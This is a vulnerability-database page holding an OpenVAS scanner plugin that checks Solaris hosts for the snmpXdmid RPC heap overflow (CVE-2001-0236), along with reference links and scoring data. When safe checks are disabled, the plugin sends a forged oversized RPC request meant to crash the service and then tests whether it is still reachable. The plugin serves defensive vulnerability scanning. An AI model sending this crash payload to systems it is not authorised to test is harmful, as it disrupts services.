Lucene search
+L

snmpXdmid overflow

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2001 IntranodeType 
openvas
 openvas
🔗 plugins.openvas.org👁 36 Views

The remote RPC service 100249 (snmpXdmid) is vulnerable to a heap overflow which allows any user to obtain a root shell on this host. Disable service if not in use or contact Sun for a patch

Related
Refs
Code
ReporterTitlePublishedViews
Family
gitee
Gitee
Exploit for CVE-1999-0078
3 Aug 202504:29
gitee
cve
CVE
CVE-2001-0236
9 Mar 200205:00
cve
cvelist
Cvelist
CVE-2001-0236
9 Mar 200205:00
cvelist
exploitdb
Exploit DB
Solaris 2.6/7.0/8 - snmpXdmid Buffer Overflow
15 Mar 200100:00
exploitdb
exploitdb
Exploit DB
Solaris 2.6/7.0/8 - snmpXdmid Buffer Overflow (Metasploit)
15 Mar 200100:00
exploitdb
nvd
NVD
CVE-2001-0236
3 May 200104:00
nvd
openvas
OpenVAS
snmpXdmid overflow
3 Nov 200500:00
openvas
saint
Saint
snmpXdmid buffer overflow
12 Mar 200700:00
saint
saint
Saint
snmpXdmid buffer overflow
12 Mar 200700:00
saint
saint
Saint
snmpXdmid buffer overflow
12 Mar 200700:00
saint
Rows per page
SourceLink
securityfocuswww.securityfocus.com/bid/2417
# SPDX-FileCopyrightText: 2001 Intranode
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10659");
  script_version("2023-09-08T05:06:21+0000");
  script_tag(name:"last_modification", value:"2023-09-08 05:06:21 +0000 (Fri, 08 Sep 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/2417");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2001-0236");
  script_name("snmpXdmid overflow");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2001 Intranode");
  script_family("Gain a shell remotely");
  script_dependencies("gb_rpc_portmap_tcp_detect.nasl");
  script_mandatory_keys("rpc/portmap/tcp/detected");

  script_xref(name:"IAVA", value:"2001-a-0003");

  script_tag(name:"solution", value:"Disable this service (/etc/init.d/init.dmi stop) if you don't use
  it, or contact Sun for a patch.");

  script_tag(name:"summary", value:"The remote RPC service 100249 (snmpXdmid) is vulnerable
  to a heap overflow which allows any user to obtain a root shell on this host.");

  script_tag(name:"solution_type", value:"Mitigation");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

include("rpc.inc");
include("byte_func.inc");

port = rpc_get_port(program:100249, protocol:IPPROTO_TCP);
if(port)
{
  if(safe_checks())
  {
    data = "The remote RPC service 100249 (snmpXdmid) may be vulnerable
to a heap overflow which allows any user to obtain a root
shell on this host.

*** The scanner reports this vulnerability using only information that was gathered. Use caution when testing without safe checks enabled.";
    security_message(port:port, data:data);
    exit(0);
  }

  if(get_port_state(port))
  {
    soc = open_sock_tcp(port);
    if(soc)
    {
      # nb: We forge a bogus RPC request, with a way too long argument. The remote process will die immediately, and hopefully painlessly.
      req = raw_string(0x00, 0x00, 0x0F, 0x9C, 0x22, 0x7D,
                       0x93, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x02, 0x00, 0x01, 0x87, 0x99, 0x00, 0x00,
                       0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00,
                       0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x3A, 0xF1,
                       0x28, 0x90, 0x00, 0x00, 0x00, 0x09, 0x6C, 0x6F,
                       0x63, 0x61, 0x6C, 0x68, 0x6F, 0x73, 0x74, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x01, 0x00, 0x00, 0x06, 0x44, 0x00, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00) +
            crap(length:28000, data:raw_string(0x00));

      send(socket:soc, data:req);
      r = recv(socket:soc, length:4096);
      close(soc);
      sleep(1);
      soc2 = open_sock_tcp(port);
      if(!soc2)
        security_message(port:port);
      else
        close(soc2);
    }
  }
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2023 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 210
EPSS0.72036
36